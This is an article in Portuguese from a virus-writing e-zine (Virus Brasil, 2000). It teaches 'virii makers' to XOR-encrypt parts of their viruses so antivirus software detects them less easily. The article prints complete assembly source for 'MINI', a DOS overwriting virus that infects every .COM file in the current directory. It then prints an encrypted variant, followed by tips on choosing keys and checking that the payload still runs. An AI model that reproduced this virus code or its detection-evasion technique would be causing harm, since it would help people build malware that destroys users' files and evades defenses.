Virus Brasil6:(VIRBR06.111):01/04/2000 << Back To Virus Brasil6


────────────────────────────────────────────────────────────────────────── __ ___ ___ / __ . __ |\/| |__| | |__ |__) | |__| | | | | | |___ | \ | | | ────────────────────────────────────────────────────────────────────────── ───────────────────────────────────────────────────────── 11111 - Como Funciona a Criptografia ? Por Dark Lion ───────────────────────────────────────────────────────── Criptografia! A Criptografia eh um bom instrumento de pode ser usado por nos virii makers para tornar mais dificil a deteccao dos Anti-Virus. Com ela podemos esconder cadeias de strings, disfarcar rotinas maliciosas, esconder variaveis etc. Mas que diabo eh a criptografia? Bom, a criptografia eh o pro- cesso pelo qual eh possivel guardar uma informacao de modo distorcido e que depois tenhamos um metodo para reverter a informacao ao estado original (obvio). Basicamente para que vo6 consiga criptografar/descriptografar um virus vo6 precisa de uma rotina de criptografia e uma de decriptogra- fia (com o XOR da para fazer as duas em uma soh), uma variavel para conter o valor da criptografia, e um par de indicadores dizendo onde a criptografia comeca e onde ela termina. E porque eu nao criptografo o virus interio ? Simples ! Se vo6 criptografar o virus todinho a rotina de decriptografia tb vai ser criptografada fazendo com que vo6 nao consiga descriptografar o virus e executa-lo normalmente e alem do mais, rotinas especiais como a de calculo do offset Delta nao podem ser criptografadas alem de outras. Bom, vamos comecar com um exemplo pratico, abaixo vai o fonte de um virus simples de OverWrite ( Nao um dos menores ou melhores, mas quebra o galho ) que nao faz nada alem de infectar todos os arquivos COM do diretorio atual e mostrar uma mensagem ao fim. Vamos ai virus... ──────────────────────────────────────────────────────────────────────────── __ __ / __ . __ __ __ __ ___ __ | | | | \ | | _ | | |_ | | |\| | |_ |__ |__| |__/ | |__| |__| | |__| | | | |__ ──────────────────────────────────────────────────────────────────────────── ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; MINI ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Nome do virus: MINI ; Autor : Dark Lion - F. K. ; E-mail: fabianok@yahoo.com ; Tipo : Runtime OverWriter, EXE infector, Mensagem . ; Tamanho : xxx bytes ; Av's : nem vi, nim_bus ta sem tempo ... ; Bug's : sem relatos ! ; Compilar/linkar com Tasm 3 (Tasm goma /m e Tlink goma /t) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; code segment para public assume cs:code, ds:code, es:code org 100h Inicio_Virus equ $ inicio: mov ah, 1Ah lea dx, [DTA] int 21h mov ah, 4Eh proximo: mov cx, 7 lea dx, [mascara] int 21h jc sair mov ax, 3D02h lea dx, [DTA+30] int 21h mov bx, ax mov ah, 40h mov cx, TamVir mov dx, offset Inicio_Virus int 21h procura_proximo: call fecha mov ah, 4Fh jmp proximo sair: mov ah, 9h lea dx, [Mensagem] int 21h mov ah, 4ch int 21h fecha: mov ah, 3Eh int 21h ret mascara db "*.COM",0 TamVir equ (Fim_Virus-Inicio_Virus) Mensagem db "Sou o MINI Virus...$" Fim_Virus equ $ DTA db 42 dup (0) code ends end inicio ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; MINI ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Em cima dessa gracinha vamos montar um sistema de criptografia (o resultado vai ser mostrado no final por inteiro). Primeiro temos que delimitar qual a area que sera criptografada, nesta area vamos colocar por enquanto apenas a variavel de mensagem para que soh ela seja criptografada. Seguido a isso vamos colocar a rotina de criptografia/descriptografia, que segue abaixo: encripta_decripta: mov dh,[encript_val] mov cx,fim_criptografia-inicio_criptografia push bx lea bx,[inicio_criptografia] encrypt_loop: mov ah,cs:[bx] xor ah,dh mov cs:[bx],ah inc bx loop encrypt_loop pop bx ret encript_val db 0h ; Deve ser sempre 0 em estado de compilacao Nas 4 linhas que antecedem encrypt_loop, estamos movendo o valor de criptografia para DH (este sempre deve ser 0 no codigo fonte). Estamos colocando em CX a quantidade total de bytes que serao criptografados e em BX estamos dizendo onde a criptografia ira se iniciar. OBS.: Estamos salvando BX na pilha, pois provavelmente ele contem o han- dle do arquivo e se este for perdido nao poderemos mais acessar o arquivo. Quando entramos em encrypt_loop, movemos o conteudo que esta em CS:[BX] para AH. CS eh o segmento onde o programa esta rodando, ou seja, quando o programa eh rodado ele todo (no caso de arquivos COM e apenas uma parte em caso de um arquivo EXE) vai para a memoria, e CS serve como uma especie de apontador para o programa QUE ESTA ATUAL- MENTE RODANDO na memoria. Como BX contem o primeiro byte da parte que se quer criptografar, estamos movendo o primeiro byte da area a crip- tografar em AH. Na linha seguinte estamos usando um XOR para criptografar aquele byte que veio da memoria. Estamos dando um XOR com o conteudo de DH (que eh o valor da criptografia), e o resultado sera armazenado em AH novamente. Tomemos como um exemplo o nosso primeiro byte sera "S" da mensa- gem (de "Sou um MINI...") e digamos que o valor de criptografia seja 5 entao: XOR 01010011 -> S 00000101 -> 5 ──────── 01010110 -> V Ou seja, se dermos um XOR com o valor 5, "S" se transformara em "V". E se dermos um XOR com o valor 5 em "V" obteremos "S" : XOR 01010110 -> V 00000101 -> 5 ──────── 01010011 -> S Isto se deve a natureza louca de XOR. Note a tabela abaixo: 0 XOR 0 = 0 1 XOR 0 = 1 0 XOR 1 = 1 1 XOR 1 = 0 Note que sempre que temos o 1 comparado com o 0 resultamos em 0, a menos que comparamos 1 com 1 o qual devolvera 0. Completando a fra- se inteira a frase original ficaria: Vjp%ph%HLKL%slwpv+++! Sou um MINI virus...$ Agora pense comigo, esta frase louca eu consegui colocando o va- lor 5 em encript_val, e se eu colocasse outro valor? Cabecinha fertil hein! Como encript_val eh uma variavel de 8 bits, poderemos ter ate 256 combinacoes diferentes da mesma mensagem, baste que em tempo de execucao voc6 altere a variavel antes que chamar encripta_decripta. Agora que criptografamos nosso byte, movemos-o devolta a memoria com a instrucao MOV CS:[BX], AH e incrementamos BX para que ele va' para o proximo byte. Por fim damos um loop para que tudo o que queremos seja cripto- grafado , depois pegamos de volta o valor de BX e retornamos a quem chamou. O Codigo do virus com criptografia ficaria: ──────────────────────────────────────────────────────────────────────────── __ __ / __ . __ __ __ __ ___ __ | | | | \ | | _ | | |_ | | |\| | |_ |__ |__| |__/ | |__| |__| | |__| | | | |__ ──────────────────────────────────────────────────────────────────────────── ;;;;;;;;;;;;;;;;;;;;;; MINI versao Encriptada ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Nome do virus: MINI ; Autor : Dark Lion - F. K. ; E-mail: fabianok@yahoo.com ; Tipo : Runtime OverWriter Encriptado, EXE infector, Mensagem . ; Tamanho : xxx bytes ; Av's : nem vi, nim_bus ta sem tempo ... ; Bug's : sem relatos ! ; Compilar/linkar com Tasm 3 (Tasm goma /m e Tlink goma /t) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; code segment para public assume cs:code, ds:code, es:code org 100h Inicio_Virus equ $ inicio: call encripta_decripta mov ah, 1Ah lea dx, [DTA] int 21h mov ah, 4Eh proximo: mov cx, 7 lea dx, [mascara] int 21h jc sair mov ax, 3D02h lea dx, [DTA+30] int 21h mov bx, ax call encripta_infecta mov ah, 40h mov cx, TamVir mov dx, offset Inicio_Virus int 21h call encripta_decripta procura_proximo: call fecha mov ah, 4Fh jmp proximo sair: mov ah, 9h lea dx, [mensagem] int 21h mov ah, 4ch int 21h fecha: mov ah, 3Eh int 21h ret mascara db "*.com",0 TamVir equ (Fim_Virus-Inicio_Virus) Inicio_Criptografia equ $ mensagem db "Sou um MINI virus...$" Fim_Criptografia equ $ encripta_infecta: mov [encript_val], 05h encripta_decripta: mov dh,[encript_val] mov cx,fim_criptografia-inicio_criptografia push bx lea bx,[inicio_criptografia] encrypt_loop: mov ah,cs:[bx] xor ah,dh mov cs:[bx],ah inc bx loop encrypt_loop pop bx ret encript_val db 0h ;Deve ser sempre 0 em estado de compilacao Fim_Virus equ $ DTA db 42 dup (0) code ends end inicio ;;;;;;;;;;;;;;;;;;;;;; MINI versao Encriptada ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Agora repare em um pegueno detalhe: - Chamamos a funcao encripta_decripta no inicio do virus, chama- mos encripta_infecta antes de usarmos a funcao de gravacao e depois de usa-la chamanos novamente encripta_decripta. A primeira vez que chamamos encripta_decripta no inicio do ar- quivo serve para que o virus se descriptografe e rode normalmente. Quando chamamos a funcao encripta_infecta antes da funcao 40h, estamos setando o valor de encript_val para um valor diferente de 0 e chamando a funcao de criptografia. Entao ao salvar-mos o virus dentro do hospedeiro estaremos salvando todo o virus que esta na memoria pa- ra o arquivo, quando fazemos isto estamos salvando o pedaco do virus que esta criptografado tb, e ele acaba indo criptografado para o hos- pedeiro. Quando chamamos encripta_infecta seria interessante pegar um va- lor aleatorio para encript_val, como por exemplo chamando a funcao de hora do sistema, mas isto deixaria o virus mais suspeito para um bom anti-virus, minha opiniao eh que use um byte do hospedeiro mesmo. Bom , agora que gravamos o virus na memoria temos que descripto- grafar aquele pedaco de codigo para que o virus rode normal, porque o computador nao vai conseguir ler o codigo de maquina criptografado e vai travar. Chamamos encripta_decripta depois da funcao 40h, isto vai des- criptografar o virus para que ele nao trave. Agora voc6 poderia dizer: "Mas quando eu rodo o virus pela primeira vez ele vai ficar cri- ptografado no inicio ja que eu chamo encripta_decripta e nao vai ro- dar porque o codigo vai estar criptografado !" Mas isso nao ocorre ! Porque isto nao acontece ? Simples, quando o virus roda pela primeira vez ele nao esta criptografado e quando chamamos encripta_decripta no inicio nada acontece com os bytes, ja que em tempo de projeto a variavel encript_val foi definida como 0. Um XOR de um byte, digamos por exemplo "S" com um 0 vai resultar em um "S"! Voc6 pode utilizar outros metodos alem do XOR para a criptografia, como por exemplo dar um INC na hora da criptografia e para descripto- grafar dar um DEC, a escolha eh sua. { Utilizamos esse tipo de tecnica nas nossas mascaras de arquivos } Tenha cuidado em usar a rotina de c/d acima, ela foi retirada do virus kit IVP e seu virus pode ser detectado pelo anti-virus por usar esta funcao. Esse eh o processo basico da criptografia, basicamente a regra é criptografar o arquivo antes de grava-lo no hospedeiro e ter certeza de que quando o virus for executado aquele pedaco de codigo nao esta- ra criptografado. Uma dica eh criptografar sempre a mensagem de payload e infectar alguns arquivos, abra o arquivo e olhe se a mensagem esta criptogra- fada, se estiver rode o arquivo e faca o payload ser executado, se a mensagem sair normal eh porque funcionou, se nao eh porque voc6 errou em algum lugar... Eh melhor voc6 criptografar primeiro uma mensagem e quando tudo estiver ok voc6 coloca mais coisas entre inicio_criptografia e fim_criptografia , mas LEMBRE-SE , o calculo que nem tudo pode ser criptografado, rotinas como a do offset delta, criptografia e des- criptografia, o valor de encript_val e a funcao 40h NAO podem ser criptografadas, senao seu programa vai travar... Bom, eh isso ! ──────────────────────────────────────────────────────────────────────────── Copyright ╕ 2000, Vírus Brasil ⌐ ────────────────────────────────────────────────────────────────────────────